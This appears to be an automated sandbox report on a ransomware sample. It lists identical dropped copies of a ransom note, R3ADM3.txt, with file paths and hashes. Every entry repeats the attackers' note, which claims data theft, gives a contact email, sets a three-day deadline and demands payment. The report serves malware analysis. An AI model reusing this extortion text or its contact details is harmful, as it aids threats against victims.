Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\Microsoft\Spectrum\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\Microsoft\Speech_OneCore\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\Microsoft\Storage Health\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\Microsoft\UEV\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\Microsoft\User Account Pictures\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\Microsoft\Vault\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\Microsoft\WDF\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\Microsoft\WinMSIPC\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\Microsoft\WwanSvc\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\Oracle\Java\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\Oracle\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\Package Cache\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\Package Cache\{12578975-C765-4BDF-8DDC-3284BC0E855F}v14.21.27702\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\Package Cache\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\Package Cache\{19F7E289-17B8-44EC-A099-927507B6F739}v14.21.27702\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\Package Cache\{213668DB-2263-4E2D-ABB8-487FD539130E}v14.21.27702\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\Package Cache\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\Package Cache\{49697869-be8e-427d-81a0-c334d1d14950}\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\Package Cache\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
